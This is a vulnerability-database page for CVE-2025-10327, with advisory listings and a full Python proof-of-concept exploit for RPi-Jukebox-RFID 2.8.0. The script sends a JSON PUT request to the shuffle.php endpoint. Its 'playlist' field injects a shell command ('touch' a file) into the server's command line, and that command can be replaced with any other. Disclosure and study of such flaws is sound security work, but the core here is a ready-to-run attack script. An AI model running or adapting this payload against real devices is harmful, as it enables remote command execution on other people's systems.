| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2025-10327 | 12 Sep 202523:17 | – | circl | |
| RPi-Jukebox-RFID 操作系统命令注入漏洞 | 12 Sep 202500:00 | – | cnnvd | |
| CVE-2025-10327 | 12 Sep 202521:02 | – | cve | |
| CVE-2025-10327 MiczFlor RPi-Jukebox-RFID shuffle.php os command injection | 12 Sep 202521:02 | – | cvelist | |
| EUVD-2025-29077 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-10327 | 12 Sep 202521:15 | – | nvd | |
| 📄 RPi-Jukebox-RFID 2.8.0 Remote Code Execution | 20 Jan 202600:00 | – | packetstorm | |
| PT-2025-37354 | 12 Sep 202500:00 | – | ptsecurity | |
| CVE-2025-10327 | 14 Sep 202522:31 | – | redhatcve | |
| CVE-2025-10327 MiczFlor RPi-Jukebox-RFID shuffle.php os command injection | 12 Sep 202521:02 | – | vulnrichment |
# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Remote Code Execution
# Date: 2025-09-25
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID
# Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0
# Version: 2.8.0
# Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0
# CVE: CVE-2025-10327
#
# Description:
# This PoC demonstrates an OS command injection vulnerability in the shuffle.php API endpoint.
# The vulnerable parameter "playlist" is passed directly to a shell command without sanitization,
# allowing an attacker to execute arbitrary system commands.
import requests
import json
# Replace this with the actual target IP or hostname
TARGET = "http://YOUR-TARGET-IP/phoniebox/api/playlist/shuffle.php"
# Payload to inject – here we create a file as proof of execution
INJECTED_COMMAND = "test';touch rced_by_xu17.txt;echo '"
# JSON payload for the request
payload = {
"playlist": INJECTED_COMMAND,
"shuffle": "true"
}
# HTTP headers
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0"
}
def exploit():
print("[+] Sending malicious JSON payload to trigger command injection...")
try:
response = requests.put(TARGET, headers=headers, data=json.dumps(payload), timeout=5)
print(f"[+] HTTP Status Code: {response.status_code}")
print("[*] If the target is vulnerable, the command should be executed on the server.")
except Exception as e:
print(f"[-] Exploit failed: {e}")
if __name__ == "__main__":
exploit()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation